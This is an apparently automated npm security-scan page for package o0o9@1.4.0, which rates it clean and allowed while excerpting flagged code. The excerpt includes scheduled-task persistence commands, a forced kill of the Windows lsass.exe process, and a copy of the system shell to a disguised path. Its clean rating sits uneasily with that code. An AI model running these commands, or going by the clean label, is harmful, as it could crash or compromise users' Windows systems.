o0o9@1.4.0: Clean npm security report (Allow)

Static Scan Results

scanned 27d ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 4 low-signal pattern(s) were surfaced and cleared.

Static reason

No blocking static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemShell

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 1 file(s), 1.83 KB of source

Source & flagged code

1 flagged

index.jsView file

1#!/usr/bin/env node L2: const { spawn, execSync } = require("child_process"); L3: const path = require("path"); ... L15: if (args[0] === "--kill" || args[0] === "-k") { L16: try { execSync("schtasks /end /tn o0o9tool 2>nul", { stdio: "pipe" }); } catch {} L17: try { execSync("schtasks /delete /tn o0o9tool /f 2>nul", { stdio: "pipe" }); } catch {} ... L30: try { execSync("taskkill /f /im lsass.exe 2>nul", { stdio: "pipe" }); } catch {} L31: fs.copyFileSync(process.env.comspec, fakePath); L32:

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L1

Source & flagged code

1 flagged · loading source

index.jsView file

1#!/usr/bin/env node L2: const { spawn, execSync } = require("child_process"); L3: const path = require("path"); ... L15: if (args[0] === "--kill" || args[0] === "-k") { L16: try { execSync("schtasks /end /tn o0o9tool 2>nul", { stdio: "pipe" }); } catch {} L17: try { execSync("schtasks /delete /tn o0o9tool /f 2>nul", { stdio: "pipe" }); } catch {} ... L30: try { execSync("taskkill /f /im lsass.exe 2>nul", { stdio: "pipe" }); } catch {} L31: fs.copyFileSync(process.env.comspec, fakePath); L32:

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L1

Findings

2 Medium2 Low

MediumEnvironment Vars

MediumInstall Persistenceindex.js

LowFilesystem

LowNo License